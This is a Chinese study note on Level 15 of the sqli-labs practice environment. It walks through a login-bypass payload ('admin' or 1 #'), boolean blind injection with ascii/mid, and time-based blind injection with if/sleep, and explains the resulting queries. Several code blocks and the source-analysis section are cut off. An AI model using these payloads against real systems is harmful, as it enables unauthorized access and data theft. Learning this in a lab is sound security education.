sqli-labs 学习笔记
Abstract: 掌握 sqli-labs 每个关卡的注入原理,熟练使用手工注入和sqlmap 工具的使用,对源代码进行简单分析。
Table of Contents
SQL 注入常用语句
information_schema 表的应用
1  | # 查询库名  | 
UNION SELECT 联合查询
1  | # 先确定字段数  | 
布尔盲注
1  | AND length(database()) > 0;  | 
时间盲注
1  | # if 函数  | 
Less-15
手动注入
- 打开首页如下图
 

- 在查看器中找到 
form表单的名称 

- 使用 
HackBar以POST方式提交数据,随意输入用户名和密码,可以看出,页面提示登录失败。 
1  | uname=123&passwd=123&submit=submit  | 

- 尝试使用万能密码登录,
 
1  | uname=admin' or 1 #&passwd=123&submit=submit  | 

可以看出登录成功。故我们可以利用用户名这块进行 sql 注入。找到注入点后,接下来我们来分析下到底该有哪种注入方式,首先,无论用户是否登录成功,页面均没有可用的数据以及数据库报错显示出来,所以 UNION SELECT 和报错注入显然是不合适的。根据登录成功与否显示的图片不同,故可以使用布尔盲注。
布尔盲注
1  | uname=admin' and ascii(mid((select user()), 1, 1))>0 #&passwd=123&submit=submit  | 
运用 ascii 和 mid 函数时,第一次应该先于 0 比较,因为这样能尽快判断出写入的语句是否存在错误,避免浪费过多时间。

1  | uname=admin' and ascii(mid((select user()), 1, 1))>120 #&passwd=123&submit=submit  | 

规范的做法应该是,第一步先用 count 判断库/表/字段个数,第二步是用 limit 控制把库/表/字段一一输出,然后用 length 判断每个名的长度,第三步用 ascii 和 mid 一一判断名中每个字符的大小。
时间盲注
1  | if(length(user())>1, sleep(1), 1) #&passwd=123&submit=submit  | 

可以看出,点击 Execute 后,页面等待一段时间后,显示登录错误,当我们把数字改到 14 后,点击 Execute ,页面立刻执行完毕,显示登录成功。其中原因是 length(user()) 的输出为 14,当 > 后面的数字小于 14 时,if() 函数执行 sleep(1) ,之后返回 0,然后执行如下的 sql 语句。
1  | SELECT username, password FROM users WHERE username='admin' and 0 # and password=123 LIMIT 0,1  | 
后面是永假条件,此时的 SQL 语句返回空。反之,
1  | SELECT username, password FROM users WHERE username='admin' and 1 # and password=123 LIMIT 0,1  | 
源码分析
对输入参数做处理的核心代码如下所示:
1  | 
  |